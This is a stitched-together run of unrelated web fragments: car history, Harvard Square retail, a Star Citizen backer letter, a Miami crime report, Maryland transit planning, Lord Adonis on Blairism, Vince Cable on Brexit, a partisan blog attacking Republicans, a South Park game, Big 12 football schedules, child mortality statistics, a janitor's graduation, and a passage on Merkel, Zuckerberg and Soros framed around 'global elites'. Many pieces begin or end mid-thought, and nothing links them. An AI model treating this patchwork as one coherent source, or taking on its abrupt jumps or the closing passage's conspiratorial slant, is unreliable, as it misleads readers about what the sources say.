Having been built in just 100 days by Troutman-Barnes of Culver City, California. Using the Ford styling clay and fiberglass body moulds to create a new, hand-fabricated aluminum body over a state-of-the-art space-frame chassis, the company met the extremely tight three-month deadline with just days to spare.
There are a couple of design elements from this early car that made it onto Mustangs right through to the present day, the running horse emblem first appeared on this prototype as did those air-intake vents on the rear portion of each door. The DNA of the forgotten Mustang lives on, although perhaps not as prominently as many would have liked.
Monday, November 20, 2017
The World’s Only Curious George Store has reached an updated lease agreement with Regency Centers that will allow it to remain in Harvard Square – first staying in its location at the corner of JFK and Brattle streets until developer Regency gets city approvals to begin renovations, then moving to a temporary location in another part of the building during construction.
In constructing a retail and office project (formerly called The Collection at Harvard Square, now called The Abbot Buildings), Regency Centers was to remake the Abbot building (at 1-7 JFK St.) and the neighboring buildings at 18-24 Brattle St. and 9-11 JFK St., ousting the iconic Curious George book and toy store for construction and likely, based on experts’ analysis of developer costs, with far higher rents.
But having bought the project from previous developer Equity One, Regency is proposing a phased approach to construction that will create a space for the relocation of Curious George during renovations, then find one near the current storefront where Curious George will stay under a long-lease with terms “favorable” to all, according to a Regency representative.
“Curious George is a product of Cambridge, and our home in Harvard Square is critical to both our identity and the success of the store,” shop owner Adam Hirsch said. “We are pleased that Regency Centers was willing to work with us to find a creative solution.”
Hirsch stressed that Curious George was open for business for the holiday shopping season, along with other retail in Harvard Square.
Sam Stiebel, vice president of investments for Regency, said he’d been approached by “everyone from vice mayor McGovern to the Harvard Square Business Association and the Harvard Square Neighborhood Association” with the message that Curious George “is truly a store like no other and a key part of the fabric of Harvard Square.”
“Given that one of our priorities for this project is maintaining a dynamic and interesting retail mix in Harvard Square, we knew it was imperative to find a way to maintain Curious George as a tenant in our building,” Stiebel said.
McGovern said he applauded the Regency Centers team for listening to the community and finding a way to move forward with the project that includes Curious George. “Harvard Square has long been known for the strength of its independent retail,” McGovern said. “I’ve been clear since day one that keeping Curious George in the Abbot building would set the tone for the kind of project this would be.”
Updated proposals for the updated Abbot buildings require review by the Cambridge Planning Board, which is underway. A timeline for renovation and construction is contingent on final project approval.
Steibel said that in developing the four-story Abbot Buildings project he was aware Regency was dealing with “very special historic buildings, and we expect to be a positive long-term steward of both the physical assets and the important retail spaces they contain.”
This comes on the heels of yesterday's speculation that Zack Stentz would write the film -- an idea that came out of piecing together clues from Stentz recent interview on Fat Man on Batman. Stentz, yesterday's rumors held, may both write and direct the film instead, leaving Berlanti more time to work on his many television projects, including Riverdale, which starts up at The CW in the fall. Early rumors were that Berlanti would direct the film, and it sounds as though he hasn't stepped completely away from that idea yet.
Over the weekend, we crossed $53 million in crowd funding!
Let me first apologize for the delay in this letter. One thing we’ve learned is that the period following a major patch is critical: we get our most important feedback by tracking and responding to what we hear in the first hours of a release. So the team has been working through the weekend not only fixing urgent issues but also adapting our future plans to your feedback.
But in the end, we have been extremely happy with how the Arena Commander V0.9 rollout has gone. It looks like a lot of people are enjoying the race modes, and the updated mechanics are really showing what we meant when we said combat in Star Citizen was going to be skill-based! Our most urgent charges now are re-enabling private matches and addressing control issues; expect to hear more about both in the near future!
For now, let’s take a moment to celebrate another crowdfunding milestone. We’re proud of Arena Commander, for sure, but we also know that we would not be where we are today without the support of our backers. You’ve made this possible, and you deserve all the blood and sweat we can put into the game. The $53 million unlock was for the Independent Arbitrator’s Guild position, described:
INDEPENDENT ARBITRATOR’S GUILD – Have you been wronged by your superiors? Has the member of your organization entrusted with watching the funds, been watching them go into their own pocket? Think you don’t have any recourse? You’re wrong. Fully licensed and bonded to work within the UEE and beyond, the Independent Arbitrator’s Guild allows citizens (and civilians, we don’t discriminate!) to file complaints against (or within) private organizations. Petition cases with our IAG representatives to have your voice heard and restitutions made. Is your business less than legitimate? IAG is only here to judge the matters you want us to. Confidentiality is guaranteed.
Obviously, this is something we aren’t going to need until the persistent universe launches… but we’ve set aside funding for the position, and are in the process of determining exactly what the requirements are. We’ve heard from many fans who want the job, and are leaning towards considering applicants from outside the gaming industry. It seems like a paralegal with the appropriate grasp of our universe might be an ideal candidate!
For the past two years, you’ve learned the ins and outs of our ships and you’ve heard that they will be fully customizable. Next, we’ll be moving to make that a reality. For the next set of stretch goals, we’re asking you to vote for a component that you’ll to keep (and use in combat!) The development team recently kicked off a new pipeline for ship components, with the aim of ultimately populating Arena Commander and the Voyager Direct store with plenty of options to make your game more interesting.
We’ve selected ten of these future upgrades, ranging from laser weapons to cooling units, for the poll below… and the one the community picks will be awarded to every account that backs before the $55 million level. So take a moment to vote for something you’ll get to play with in the short term in Arena Commander.
Here’s a rundown of the poll options. Which will you choose?
Ballistic Cannon: A&R PyroBolt C1: With the introduction of the PyroBolt C1, A&R provides another worthy addition to their historical line of products. The PyroBolt is a 15mm ballistic cannon capable of delivering a variety of ammo types with a moderate rate of fire and maximum accuracy.
Laser Cannon: Preacher Armament Alpha 1: When Preacher Armament unveiled their Alpha 1 laser cannon at last year’s DefCon, no one was expecting a shocker, but Preacher redefined the ‘standard’ ship weapon, increasing stopping power without overtaxing your power plant.
Ballistic Gatling: Preacher Armament Inquisition XXII : Preacher’s Inquisition XXII is the weapon to turn to when you want complete target saturation. Its dual-ammo feed allows you to hotswap feeds without exiting your ship, giving every owner the ultimate flexibility to pick the ammo based on the situation.
Laser Repeater: Verified Offworld Laser Technologies Firestorm: You can run, but you can’t hide from a FIRESTORM . VOLT’s new laser repeater is a cost-effective addition to your offensive arsenal, capable of delivering a baseline six rounds-per-second that make it comparable to its ballistic counterparts and without the worry of running out of ammo.
Neutron Cannon: ProPOW Kill-O-Blast 3000 Pro: POW does it again! The Kill-O-Blast 3000 is their latest middle-of-the-road solution capable of providing massive stopping power per shot. The Kill-O-Blast 3000 may be the first neutron cannon you buy, but it might be the last you’ll ever need!
Missiles: Spearfish ASIM -09/eN7 Arrestor: Spearfish’s line of Arrestor missiles are tried and true hunters. Top-of-the-line Infrared sensors combine with their proprietary VK9 processing software to minimize lock-loss and deliver a devastating EMP payload every time.
Power Plant: Ace Astrogation FusionPro 3H: Optimized for medium-sized spacecraft, the 3H from Ace Astrogation boasts high durability and performance under fire while maintaining a robust energy output.
Shield Generator: RAMP Corporation ProTec Twin Standard: The ProSec Twin Standard is a binary-segment shield generator, each offering front or rear placement to more effectively direct your defensive measures. The ProSec also features a lower EM signature, for those times where you don’t want to fight at all.
Cooling: J-Span Cryo-Star: Award-winning designers at J-Span have produced one of the most advanced cooling systems yet. The Cryo-Star utilizes a new kind of liquid cooling technology guaranteed to keep your engines cool without sacrificing power.
Remember, Star Citizen’s scope is based on our crowd funding; your continued support is making it possible for us to operate with teams around the world! You are the reason Star Citizen is actually happening, and I can’t thank you enough for both funding the game and spreading the word.
Jesus Esquivel, 63, initially threatened a 24-hour roadside AAA technician when he called him to fix a car battery at his home, WPLG reports.
>>Man killed at Florida gas station in machete attack
The technician then requested AAA dispatch to remove him from Esquivel’s service call, and an employee of a company contracted by AAA came to assist him instead.
Once the employee arrived, police said Esquivel confronted him and shot him multiple times. Police said the victim died at the scene, according to WPLG.
>> South Florida treasury employee accused in $1.6M tax scheme
Police took Esquivel to Miami-Dade County Jail Wednesday after he confessed to fatally shooting the employee.
The Council had already greatly expanded the size of the building that could be built on the spot in the hopes of enticing the owner to redevelop or to sell to a developer. However, they balked at agreement with the roughly $70 million in costs to the County to facilitate the deal and make it economically feasible.
There are three major effects of this decision:
Less Well-Designed Purple Line Station
The Maryland Transportation Administration (MTA) had pressed the County to move forward with the APEX acquisition to allow construction of a well-designed Purple Line station. While the State now claims that the new station, projected to handle around 24,000 trips per day, will still be adequate, the failure to acquire the building requires major changes.
Passengers will need to cross the tracks–something MTA previously described as problematic but now says will be alright. Additionally, one of the platforms will have to be much smaller and the ease of accessibility to the system will decline. There will still be elevator banks for direct Purple to Red Line connections, though the entrances will need to be moved.
No Tunnel under Wisconsin Avenue
People wanting to continue on the much-used Capital Crescent Trail will have to make their crossing of Wisconsin Ave. at grade. Currently, there is a wide tunnel under the Air Rights Building that facilitates bike trips under Wisconsin Ave.
The original plans promised a new smaller tunnel under the Air Rights Building in tandem with the new Purple Line. This promise evaporated after the project had moved on to a later stage when it became deemed to expensive.
Hope for the tunnel reemerged with the redevelopment of the APEX building. Indeed, Montgomery County government leaders expressed greater enthusiasm for the tunnel, most recently at a publicly televised debate before the Democratic primary.
The lack of a grade separated bicycle crossing will also likely anger area bicyclists concerned not just about ease of travel but public safety. The Washington Area Bicyclist Association (WABA), has predicated its strong support on grade-separated crossings of major thoroughfares along the trail.
Less Development at APEX Site
One of the major goals of the construction of the Purple Line has been to stimulate development and economic growth, crucial to expanding the County’s tax base to pay to maintain infrastructure and services.
It will be more difficult and therefore much more expensive to tear down and construct a new larger building on the APEX site after the construction of the new Purple Line stop. As a result, it may never happen. Any redevelopment would be pushed much further into the future until (if ever) it become a profitable venture.
Conclusion
The developers working to arrange the deal (i.e. the purchase of the building from the current owners and money need to render its redevelopment economically feasible) could come back with a better set of numbers. So maybe it will all work out.
He said that he joined the Labour Party in 1995, the day after Tony Blair succeeded in reforming Clause IV of the party's constitution (which committed it to the common ownership of the means of production). "That was when I decided that the liberals had achieved a reverse takeover of the Labour Party." He joined the Number 10 Policy Unit in 1997, becoming its head in 2001. In that role he started to set up academy schools, which he continued to do as schools minister in the House of Lords from 2005.
After Blair stood down in 2007 he was kept on by Gordon Brown and expanded the academy programme further. He moved to the Department of Transport to work on the High Speed 2 rail line in 2008 and joined the Cabinet as Transport Secretary 2009-10. He is now chair of the Government's Infrastructure Commission – and a visiting professor at King's.
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His subject yesterday was the evolution of Blairism:
Political parties are largely franchise operations vested in leaders and their teams. The Labour Party of Harold Wilson was very different from that of Neil Kinnock, which was different from that of Tony Blair. The same is true of the Tories. Ideas matter but the relationship of ideas to leaders is vitally important. Jonathan Freedland once wrote that people believe in people who believe in ideas; they rarely believe in ideas themselves.
Tony was essentially a social liberal with a strong imperialist streak. He was strongly in favour of the assertion of power abroad. He was more Thatcherite than Thatcher; he was positively Gladstonian. Those ideas became more apparent over time. Equally, the extent of his liberalism was disguised in the early years because he used Labour language.
Tony wasn't wildly interested in policy. Policy tended to be franchised out to people he appointed. What he was very good at was stopping things happening, such as any threat to private schools or grammar schools.
He was only really interested in public services that affect the middle class. He never wanted to reform the police – the Tories would have to do that. He was not interested in local government, except in London, because of the middle class. And his interest in London rapidly waned when it became clear that the mayor was going to be Ken Livingstone. And he had no interest in repeating the changes in London elsewhere.
Health and education were the big public services the middle class consumed, and they were electorally and socially vital to his project. He wanted to make them more user-friendly to the middle class without upsetting the Labour Party. So his approach was to franchise policy increasingly to ministers who would be radical and then to row back.
After a cautious start with the first secretaries of state, Frank Dobson and David Blunkett, Blair "franchised" policy to people who would be bolder. In health, to Alan Milburn, who became Secretary of State in 1999, and in education to Adonis, although Blunkett was succeeded by Estelle Morris in 2001, who was appointed to try to keep the teacher unions on board.
Asked about Blair's regret in his 2005 speech that he had not been more radical ("Every time I've ever introduced a reform in government, I wish in retrospect I had gone further"), Adonis said: "He didn't regret it at the time, though."
He described the origin of academies, which started in 2000 as a small experimental programme for failing schools, and the struggle to set a target for expanding the number, which had reached 200 by the end of Blair's time as Prime Minister. He wanted 500, Alan Johnson (Blair's last Education Secretary) offered 300. Blair decided on 400. Adonis was worried that "Gordon Brown might come in and tear it up", but "Gordon realised that academies were working, although he wouldn't say so publicly" because of the hostility towards them from parts of the Labour Party. Adonis realised Brown would back them "when one of his advisers came to me to ask how to get his son into Mossbourne" – Mossbourne being the outstandingly successful academy in Hackney whose head, Michael Wilshaw, is now head of Ofsted.
Lord Adonis said the combination of higher spending and reform on health and education produced results. It had to be remembered that in 1997 the NHS was "on the verge of becoming unviable", and that in the 13 years of Labour government "there was no increase in the proportion of children going to private schools, despite a huge increase in incomes".
On constitutional reform – devolution, House of Lords, Human Rights Act, Freedom of Information – "Tony did the minimum he could get away with, the minimum that was credible."
Where Blair was really bold and radical was in foreign policy, he said.
He was far bolder than anyone had attempted since Anthony Eden and than had been achieved since the Second World War. It was more radical conceptually than public service reform. On public service reform Tony was not very bold and [he was] successful. On foreign policy he was very bold and largely a failure.
He described early "liberal interventionism" in Kosovo and Sierra Leone as "essential", but "it was the post-9/11 world that changed it". He said: "Nobody would be talking about liberal interventionism if it was just Kosovo and Sierra Leone. It was Afghanistan and Iraq that made it big."
Asked if he thought Blair was a good Prime Minister, he said: "Yes. He left the country in a better state than he found it, but its international reputation was worse."
Asked about Blair's failure to promote possible successors other than Brown, Adonis said:
The only alternative leader who was recognisably viable was David Miliband. Tony did almost nothing for him. He didn't make him Foreign Secretary in 2006, appointing Margaret Beckett instead. He'd done a deal with Gordon – promoting David would have been seen as a seriously hostile act.
Lord Adonis said he didn't think Blair would ever have moved against Brown.
He constantly licensed people to talk about a government without Gordon but never showed any inclination to move. Someone said they couldn't imagine the conversation in which he sacked Gordon, which I think is right.
Asked about the failure of Labour-Liberal Democrat co-operation in 1997-98, he said that was "impossible" because of the size of the majority, and that Blair "never had any intention" of implementing Roy Jenkins's plans for electoral reform.
The great missed opportunity in Lib-Labbery was not under Tony but under Gordon. Gordon could have made a bigger break on Iraq. He did promise the Alternative Vote in the manifesto, but he seemed to want to do it without ever talking to the Liberal Democrats.
I have written about the other classes in this term's "Blair Years" MA course here. If you want to receive the Catch-Up Service email for all my posts for The Independent, sign up here.
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The Liberal Democrat leader said it was dangerous to see those people as martyrs because they would not be the ones to suffer most from the effects of Brexit.
Writing in the Mail on Sunday, he claimed older Brexit voters with views “coloured by nostalgia for an imperial past” had imposed their will on younger generations more comfortable with the EU.
His strongly worded attack came after a YouGov poll suggested 61% of leave voters would consider significant damage to the British economy to be a price worth paying for leaving the EU.
“To describe such masochism as ‘martyrdom’ is dangerous. We haven’t yet heard about ‘Brexit jihadis’, but there is an undercurrent of violence in the language, which is troubling,” he said.
The former business secretary added that the self-declared martyrs appeared to be predominantly elderly. “The martyrdom of the old comes cheap, since few have jobs to lose,” he said.
Cable also said problems with the housing market, pensions and government policies to protect benefits for older people, including some enacted while he was in the cabinet, had contributed to a growing rift between the generations.
“The old have comprehensively shafted the young. And the old have had the last word about Brexit, imposing a worldview coloured by nostalgia for an imperial past on a younger generation much more comfortable with modern Europe,” he said.
His attack on older supporters of Brexit came amid reports that the government may be willing to compromise over the EU’s demand for an exit bill to settle the UK’s financial obligations.
Several UK sources told the Sunday Telegraph that Theresa May would be prepared to pay about €40bn (£36bn) as part of a deal to strike a comprehensive free-trade agreement with the EU.
Failure to reach Brexit deal ‘suicide’ for UK, says former EU chief Read more
That is lower than the €60bn demanded by Brussels and the “actual bottom line” of €50bn, but one source told the newspaper that the UK’s position was €30bn and “the landing zone is €40bn, even if the public and politicians are not all there yet”.
But the Sunday Telegraph reported that the government would only agree to pay that sum if the EU treated it as part of a deal on future relations, including the comprehensive trade agreement sought by the prime minister.
A figure of about €40bn would equate to paying towards the EU’s budget for a transitional period after leaving, but the “divorce bill” has been one of the main stumbling blocks in negotiations between the government and Brussels.
The EU’s stance is that trade talks cannot begin until significant progress has been made on the financial settlement, citizens’ rights and Northern Ireland.
The government refused to comment on the figure, but referred to remarks by David Davis, the Brexit secretary, that the government would work with Brussels “to determine a fair settlement of the UK’s rights and obligations”.
We’ve been witness to a concerted effort by the Republican Party, with the collusion of the mainstream media, to misdirect the American people, to draw their attention away from George W. Bush and to Barack H. Obama in his place. We’re told there were no terrorist attacks on the U.S. during the Bush administration (hello, 9/11!) but this is just the most prominent example.
Just this summer we saw Bush’s press secretary, Ari Fleischer, pretend he didn’t know when the Iraq War started. What is really important to Republicans is not Bush, whom they’d like to simply pretend never existed, but Obama. All history began with Obama.
I’m waiting for the headline asking why Obama didn’t save Jesus. Why, Obama, why?
This works on a smaller scale too, where what can’t be wished away can be ignored. Bill O’Reilly laughably claims he is an independent while toeing the Fox News line. So does the less notorious Joni Ernst, though when she opens her mouth you can see she’s all about the tea bagging.
And even if it does come up, because we insist on talking about it, we are told the extremism of Republican candidates doesn’t matter. The mainstream media broke its longstanding rule on institutional silence on Republican extremism in 2012, but they seem to have fallen back into their own ways this midterm election cycle. Just the other day, George F. Will, as Media Matters for America tells us,
[D]ismissed Colorado Senate candidate Cory Gardner’s support for federal fetal personhood legislation that would outlaw abortions and some birth control measures nationwide, suggesting that Gardner’s position is irrelevant because the legislation has “zero chance of passing.
Media Matters relates that, “In his October 17 syndicated column, Will sought to neutralize some of the most controversial parts of Gardner’s record: his past support for a statewide personhood bill in Colorado and current co-sponsorship of the Life At Conception Act in Congress”:
Gardner favors over-the-counter sales of oral contraceptives. In addition to being common sense, Gardner’s proposal is his way of making amends for formerly advocating a state constitutional “personhood” amendment (it is again on the ballot this year and will be decisively rejected for a third time) and for endorsing similar federal legislation that has zero chance of passage. By defining personhood as beginning at conception, these measures might preclude birth control technologies that prevent implantation in the uterus of a fertilized egg.
Really? So the fact that you think the law will never pass in the first place makes his extremism irrelevant? How does that work, exactly?
The white-washing of Gardner did not end with Will. As Media Matters goes on to relate,
The Denver Post editorial board’s October 10 endorsement Gardner, which pardoned his history of opposing marriage equality and abortion rights. National women’s group NARAL: Pro-Choice America blasted the Post for endorsing a candidate with positions “that deeply conflict with the paper’s previous editorial stances.”
So it just never happened. The National Review Online has tried the same tactic with regards personhood amendments. It’s not the amendments that are the problem, they insist, but “liberal lies” – in other words, liberals who – contra the media and Republicans themselves – tell the truth about the consequences of such laws.
What really tripped up Mitt Romney in 2012 was that his millions of mutually contradictory positions on nearly every subject caught up to him. His lies got so big that even the right-wing media elite could not ignore them.
But this is rare. Willful ignorance is still the order of the day.
Remember when Mormon sci fi author Orson Scot Card, who wanted his own long history of anti-gay rhetoric ignored when his story Ender’s Game was made into a movie. He was afraid nobody would go see it if it was known what an anti-gay bigot he is, so he tried to say, “Well, look, you guys won the culture war anyway so why hold this against me?”
It still matters. If the culture war was won by us, he wouldn’t keep spouting his anti-gay bigotry, but he hasn’t stopped. He’s still an anti-gay bigot.
The facts do matter.
Yet according to Card it is not his own intolerance on trial but, rather,
“It will be interesting to see whether the victorious proponents of gay marriage will show tolerance toward those who disagreed with them when the issue was still in dispute.”
Dollars at risk, the film’s distributor agreed with Card. Get over it already!
Ah, so…the guys you persecuted are the real bad guys!
Actor Harrison Ford, star of Ender’s Game, said that, “I think we all know that we’ve won. That humanity has won. And that’s the end of the story.”
But it’s not the end of the story. You can still be fired for being gay in many states. Gay couples cannot yet be married in every state. The battle is a long way from over, and the defeat of exremists does not excuse extremism.
If it did, why did we try the Nazis at Nuremberg? Couldn’t they have just said, as Card did, “It will be interesting to see whether the victorious proponents of Judaism will show tolerance toward those who disagreed with them when the issue was still in dispute.”
It doesn’t work like that. You cannot simply announce the past no longer matters, that your extremism no longer matters.
The mainstream media isn’t going to tell you about right wing extremism unless it is impossible to ignore, and as you’ve no doubt noticed, they can ignore quite a bit. I’m convinced that many in the Republican base are ignorant of Republican extremism, even if it is a willful ignorance rather than a lack of exposure.
But I’m also convinced that even when exposed, many of them simply shrug. As I wrote last year, Republicans think there should be no consequences for their hate – except to those who are the targets of that hate, of course.
When the media woke up to Republican extremism in 2012, the Republican reaction was to claim there should be on consequences to their extremism by accusing the mainstream media of stealing the election.
All the media did – for a change – was report the facts. It actually quoted Republican candidates. Yes, telling the truth is stealing. Telling the truth is lying. Even though all we have to do is run the tape to prove the truth is the truth.
And Orson Scott Card is on record as having said that “tolerance is not the fundamental virtue.” He is clearly correct in speaking of Christianity, which begins with the intolerant statement that there is no God but their God.
But tolerance is essential in a modern liberal democracy. A modern liberal democracy demands toleration for its diverse and pluralistic citizen body.
We are faced these midterms with a seemingly endless parade of intolerant and hateful Republican candidates. Don’t let them pretend, as Rand Paul would do, that they’re moderates. Rand Paul is not a moderate but a secessionist-friendly Christian nationalist.
The others, Scott Walker, Sam Brownback, Rick Perry, Rick Snyder, and others, are not moderates either. They’re haters. They are ideological and religious extremists along the lines of Sarah Palin and Michele Bachmann. And their hate, win or lose, does matter.
South Park: The Stick of Truth has been a long time coming, in part because of the ambition of the project. At a San Diego Comic-Con panel, South Park creators Trey Parker and Matt Stone explained how the game grew to epic, somewhat unrealistic proportions.
Polygon reports that after taking inspiration from Skyrim, the script became 850 pages and included "just about every character" from South Park. The team at Obsidian joked that they were targeting "holiday season 2032." They were urged to cut, and make extra content into DLC. Parker noted that the cut content will "get out there" somehow, possibly as TV episodes.
"We did have this whole delusion of actually incorporating the game into the season," Parker said, "but that sounds like a bitch. We really just wanted it to be that you could pick it up anywhere and it would kind of make sense."
Still, that doesn't mean every Big 12 nonconference game will be a bore. Texas goes to Notre Dame. Oklahoma travels to Tennessee. Texas Tech returns a trip to Arkansas.
But which team has the toughest nonconference slate? And which has the softest? The rankings are below, going from most difficult to least (*denotes FCS opponents):
1. TEXAS: at Notre Dame (8-5), Rice (8-5), Cal (5-7)
Opponents’ 2014 combined winning percentage: .552
Toughest opponent: Notre Dame
Weakest opponent: Rice
2014 bowl teams: 2
Quick take: The Longhorns continue their recent trend of challenging nonconference schedules, opening with a trip to South Bend. The Fighting Irish were up-and-down last year, but they finished with a victory over LSU in the Music City Bowl. Even though it didn't make a bowl, Cal was one of the most improved teams in college football last season, going from 1-11 to 5-7 in Sonny Dykes' second year. Rice is a solid non-Power 5 opponent. It won't take long to find out what Charlie Strong has in Year 2 in Austin.
2. KANSAS: *South Dakota State (9-5), Memphis (10-3), at Rutgers (8-5)
Opponents’ 2014 combined winning percentage: .675
Toughest opponent: Memphis
Weakest opponent: South Dakota State
2014 bowl teams: 2
Quick take: David Beaty will be baptized by fire. The Jayhawks have a tough nonconference slate, including South Dakota State, which made the second round of the FCS playoffs last year. Memphis is coming off a 10-win season; Rutgers on the road will be a big challenge, as well. This is a brutal early series of games for a program transitioning to a new coaching staff which will have the fewest returning starters in the Big 12.
3. OKLAHOMA: Akron (5-7), at Tennessee (7-6), Tulsa (2-10)
Opponents’ 2014 combined winning percentage: .378
Toughest opponent: Tennessee
Weakest opponent: Tulsa
2014 bowl teams: 1
Quick take: The Sooners face potentially the toughest nonconference game of any Big 12 team with a road trip to Tennessee. The Vols have struggled in recent years, but could be on the verge of turning the corner after a series of elite recruiting classes. The Vols also return an SEC-high 18 starters, including Joshua Dobbs, who is one of the up-and-coming quarterbacks in college football. The Sooners will have to play well -- and much better than they did toward the end of last season -- to prevail in Knoxville.
4. TEXAS TECH: *Sam Houston State (11-5), UTEP (7-6), at Arkansas (7-6)
Opponents’ 2014 combined winning percentage: .595
Toughest opponent: Arkansas
Weakest opponent: Sam Houston State
2014 bowl teams: 1
Quick take: The Razorbacks smacked the Red Raiders around in Lubbock last year. The return trip to Arkansas is a game the Red Raiders can win. But they have to hold up way better in the trenches. Tech struggled with UTEP last year, too, foreshadowing struggles the rest of the season. The early tilts against Sam Houston State -- a quality FCS program -- and UTEP figure to serve as a harbinger again.
5. WEST VIRGINIA: Georgia Southern (9-3), *Liberty (9-5), Maryland (7-6)
Opponents’ 2014 combined winning percentage: .641
Toughest opponent: Maryland
Weakest opponent: Liberty
2014 bowl teams: 1
Quick take: After playing the toughest nonconference schedule in the Big 12 last year, the Mountaineers have a more manageable slate this time around. Still, it's not a cupcake one. Georgia Southern won the Sun Belt last year. Maryland, once again, will be one of the pivotal games on West Virginia's schedule. If the Mountaineers can beat their Atlantic rivals, they should head into Big 12 play with a boost of momentum.
6. IOWA STATE: *Northern Iowa (9-5), Iowa (7-6), at Toledo (9-4)
Opponents’ 2014 combined winning percentage: .625
Toughest opponent: Iowa
Weakest opponent: Northern Iowa
2014 bowl teams: 2
Quick take: The Cyclones are actually capable of winning all three of these games -- and losing all three, as well. Iowa State has dropped its last two openers to FCS opponents, including two years ago to Northern Iowa. QB Logan Woodside is back to lead a Toledo offense that ranked 15th nationally last year. The Cyclones have had success against Iowa under Paul Rhoads, but the Hawkeyes will be out for revenge after losing on a last-second field goal. This stretch will determine whether the Cyclones will have a shot at getting back to bowl eligibility.
7. TCU: at Minnesota (8-5), *Stephen F. Austin (8-5), SMU (1-11)
Opponents’ 2014 combined winning percentage: .447
Toughest opponent: Minnesota
Weakest opponent: Stephen F. Austin
2014 bowl teams: 1
Quick take: Minnesota surprisingly became a quality nonconference victory for TCU last year. A win at Minnesota, which has 13 returning starters, could be an even better win in 2015. At least the Horned Frogs better hope so. The rest of the nonconference schedule will do little to help TCU's strength of schedule résumé.
8. OKLAHOMA STATE: at Central Michigan (7-6), *Central Arkansas (6-6), UTSA (4-8)
Opponents’ 2014 combined winning percentage: .459
Toughest opponent: Central Michigan
Weakest opponent: Central Arkansas
2014 bowl teams: 1
Quick take: After opening with defending champion Florida State last year, the Cowboys have dialed down their nonconference slate in 2015. The opener at Central Michigan could be a little tricky; the Chippewas qualified for the Popeye's Bahamas Bowl, and almost rallied to stun Western Michigan with a 34-point fourth quarter. But the rest of the schedule should be a mere warm-up for the Cowboys for Big 12 play.
9. KANSAS STATE: *South Dakota (2-10), UTSA (4-8), Louisiana Tech (9-5)
Opponents’ 2014 combined winning percentage: .395
Toughest opponent: Louisiana Tech
Weakest opponent: South Dakota
2014 bowl teams: 1
Quick take: After facing Miami and Auburn in recent years, this schedule is more reminiscent of the early Bill Snyder nonconference slates. Louisiana Tech is decent. But this schedule should give the Wildcats time to adjust after losing so many key starters from last season's team.
Overall, 12,000 fewer children under age 5 die each day than a decade ago, the groups said in their annual report on child mortality.
Even in sub-Saharan Africa, where the burden of child mortality is greatest, the rate of improvement has more than doubled in the past decade, a sign that even the poorest regions can make progress, said Anthony Lake, executive director of the United Nations Children’s Fund or UNICEF.
Despite the improvement, more than 21,000 children die every day from preventable causes, he said in a statement.
“Focusing greater investment on the most disadvantaged communities will help us save more children’s lives, more quickly and more cost effectively,” Lake said.
Between 1990 and 2010, the annual number of deaths in children under five fell to 57 per 1,000 births in 2010, from 88 deaths per 1,000 live births in 1990.
Even so, improvements in child mortality rates will not be enough to meet the United Nation’s goal set in 2000 of reducing child mortality by two-thirds by 2015, and the groups say more money is needed.
“This is proof that investing in children’s health is money well spent, and a sign that we need to accelerate that investment through the coming years,” Dr. Margaret Chan, director general of the World Health Organization, said in a statement.
She said many factors are contributing to reductions in child mortality, including better access to healthcare for newborns, prevention and treatment of childhood diseases, access to vaccines, clean water and better nutrition.
“There is more attention being paid to what ensures health globally,” Ian Pett, chief of Health Systems and Strategic Planning at UNICEF, said in a telephone interview.
For example, he said the government of Sierra Leone in April lifted all fees for child and maternal health, prompting a big improvement in child mortality rates.
“Many other countries are trying to do the same thing,” Pett said.
Sierra Leone ranked among the top five countries seeing improvements in child mortality in the past decade, along with Niger, Malawi, Liberia and Timor-Leste.
About half of all deaths of children under 5 in the world took place in just five countries in 2010: India, Nigeria, Democratic Republic of Congo, Pakistan and China.
Babies are particularly vulnerable. According to the report, more than 40 percent of deaths in children under age 5 occur within the first month of life and more than 70 percent occur in the first year of life.
Deaths among children under age 5 increasingly are concentrated in sub-Saharan Africa and southern Asia, with 82 percent of child deaths occurring in these regions in 2010, compared with 69 percent in 1990.
In sub-Saharan Africa, one in eight children and in southern Asia one in 15 children die before reaching age five. That compares with 1 in 143 children dying before age 5 in developed countries.
CBS News correspondent Tony Guida reports Filipaj, 52, graduated from Columbia University Sunday. His diploma is a validation of a life-altering choice: books over blood.
Filipaj's country of birth - Yugoslavia - was a killing field in 1992 with civil war, ethnic cleansing. Filipaj could either fight for a cause he did not believe in or flee.
He escaped to New York. He chose it not just as refuge but as renaissance.
"I am not blind. I look in the mirror and see myself. If god has not given me some nice appearance he has given me a head, has given me a heart and I can make myself better," Filipaj said.
Filipaj started at the bottom, cleaning bathrooms. But these were Ivy League bathrooms. He chose a janitor's job at Columbia University because it came with 14 free credit hours a year.
"I do believe that education, a good education, is very important not only for individuals themselves but for society as a whole," Filipaj said.
First Filipaj had to learn English. With his fulltime job it took 7 years. Then he enrolled in Columbia's classics program, studying Greek and Latin by day, scrubbing toilets by night.
"He is a remarkable human being," said Gareth Williams, who supervised Filipaj's thesis on the Roman philosopher Seneca.
The professor saw a man dedicated to knowledge.
"He would ask one question and then he would ask another question and a third question. His intellectual curiosity is very broad," Williams said.
Another 12 years of work-study led to this moment, not just a crowning but also a passage. Filipaj plans to get a Masters, even a PhD. One day he hopes to teach.
"There is a saying that Seneca said: 'While you teach, you learn,'" Filipaj said.
We just had that happen on September 27th when German Chancellor Angela Merkel and Facebook CEO Mark Zuckerberg were caught having a side conversation on a hot mic at a United Nations luncheon.
Merkel was complaining to Zuckerberg about posts by Facebook users who were critical to the hordes of Muslim migrants who are flooding Germany and other European countries. Zuckerberg responded that:
“[W]e need to do some work” on curtailing anti-immigrant posts about the refugee crisis. “Are you working on this?” Merkel asked in English, to which Zuckerberg replied in the affirmative before the transmission was disrupted.
What pretense will Facebook use to ban Germans from legitimately discussing the policy concerns of their country, which purports to be a democracy? Racism, of course:
We are committed to working closely with the German government on this important issue,” Debbie Frost, a spokeswoman for Menlo Park, California-based Facebook, said via e-mail. “We think the best solutions to dealing with people who make racist and xenophobic comments can be found when service providers, government and civil society all work together to address this common challenge.
But can a true democracy exist when the public, who are supposed to be ultimate authority for the government, are not permitted to frankly debate policies?
George Soros demands Europe take in one million Muslims annually
Sometimes our global elites are very clear about their plans, but we are conditioned to think that conspiracy theories are just for kooks—so we ignore these clear statements.
A recent example of this is an opinion piece written by billionaire George Soros. In it, Soros states the EU must accept “at least” one million Muslims annually, and it must provide each “asylum seeker” $16,800 per year to cover housing, health care, and education costs.
Furthermore, Soros argues that the EU must step up funding to Islamic countries, even though many of those countries are not taking any “refugees” in response to the Syrian crisis.
Soros goes on to criticize Hungarian Prime Minister Viktor Orbán, whose tough stance on rejecting immigration, Soros says:
